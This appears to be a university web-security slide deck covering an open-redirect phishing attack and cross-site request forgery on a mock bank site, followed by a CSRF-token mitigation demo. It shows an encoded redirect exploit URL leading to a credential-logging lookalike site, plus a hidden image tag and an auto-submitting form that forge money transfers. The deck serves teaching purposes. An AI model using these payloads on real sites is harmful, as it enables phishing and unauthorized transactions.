Web Sec - The SeQuel

with Adam & Ryan
You’ve Been Attacked!

- Vulnerabilities
  - Arbitrary redirect on /login page
  - Cross-site Request Forgery on /transaction page
Arbitrary Redirect

- Website, victim.com, has a redirect parameter that accepts any URL
- By carefully choosing a value for redirect, attacker can cause you to leave victim.com without noticing
- Result: you send the attacker information you meant for victim.com
- Useful for phishing
Arbitrary Redirect

• Exploit URL we sent you:
  • http://128.213.33.210/login?redirect=
    %68%74%74%70%3A%2F%2F
    %31%32%38%2E%32%31%33%2E
    %33%33%2E%32%32%30%2F

• What’s in the redirect parameter? URL decode it:
  • redirect=http://128.213.33.220/
Arbitrary Redirect

bank.com
128.213.33.210

bank-online.com
128.213.33.220
Arbitrary Redirect

Go Here:
**Arbitrary Redirect**

Bank.com

128.213.33.210

get


Bank-online.com

128.213.33.220
Arbitrary Redirect

bank.com
128.213.33.210

Please Login

bank-online.com
128.213.33.220
Arbitrary Redirect

http://bank.com/login?
  redirect=http://bank-online.com
  user name = john
  password = money$
Arbitrary Redirect

user name = john
password = money$
Arbitrary Redirect

get http://bank-online.com
Arbitrary Redirect

get http://bank-online.com

Invalid Login
Arbitrary Redirect

bank.com
128.213.33.210

bank-online.com
128.213.33.220

send

http://bank-online.com
user name = john
password = money$
Arbitrary Redirect

bank.com
128.213.33.210

bank-online.com
128.213.33.220

log credentials
john:money$

send
http://bank-online.com
user name = john
password = money$

Arbitrary Redirect

Bank.com
128.213.33.210

Bank-online.com
128.213.33.220

Log credentials
john:money$

Send
http://bank-online.com
user name = john
password = money$

go to
http://bank.com/home
Cross-site Request Forgery

• Cross-site Request Forgery (CSRF) forces a user to perform unwanted actions on a website in which he is authenticated
CSRF - How’d I Lose $$$?

Before we look at today's material, let's review what we covered last time. There were two primary topics: **sessions** and **cross-site scripting (XSS)**.

Session IDs allow a website to remember you.

...
Before we look at today's material, let's review what we covered last time. There were two primary topics: <b>sessions</b> and <b>cross-site scripting (XSS)</b>.

Session IDs allow a website to remember you.

...
CSRF - How’d I Lose $$$?

<img style="display: none;" src="http://128.213.33.210/transaction?to=1&amount=13.37">

Fetches image at:
http://128.213.33.210/transaction?to=1&amount=13.37

This image fetch causes a transfer of $13.37 to account 1
What if `/transaction` only transfers money for POST requests?

- Won’t Work

- You can use JavaScript to perform POST requests

- We could have changed directions.html to the following:
<html>
<body onload="document.getElementById('transaction-form').submit()">
<form id="transaction-form" method="post" action="http://128.213.33.210/transaction">
   <input type="hidden" name="to" value="1">
   <input type="hidden" name="amount" value="13.37">
</form>
</body>
</html>
CSRF - Mitigation

- Website sends form to web browser, also sends a CSRF token
- Correct CSRF token must be sent back with form or else form data rejected
- Foils CSRF attacks because:
  - Attacker cannot retrieve victim’s CSRF token
CSRF Mitigation Demo

session id: TH2S234S
CSRF Mitigation Demo

CSRF Tokens for TH2S234S:
EF9XA2UE

Transaction Form
- To field
- Amount field
- CSRF Token = EF9XA2UE

get /transaction

session id: TH2S234S
CSRF Mitigation Demo

CSRF Tokens for TH2S234S: EF9XA2UE

send /transaction
to = 1
amount = 13.37

session id: TH2S234S
CSRF Mitigation Demo

send /transaction
  to = 1
  amount = 13.37

Incorrect CSRF Token

session id: TH2S234S

CSRF Tokens for TH2S234S:
  EF9XA2UE
CSRF Mitigation Demo

send /transaction
to = 1
amount = 13.37
CSRF Token = EF9XA2UE

CSRF Tokens for TH2S234S:
EF9XA2UE

session id: TH2S234S
CSRF Mitigation Demo

CSRF Tokens for TH2S234S:
EF9XA2UE

send /transaction
  to = 1
  amount = 13.37
CSRF Token = EF9XA2UE

Transaction Completed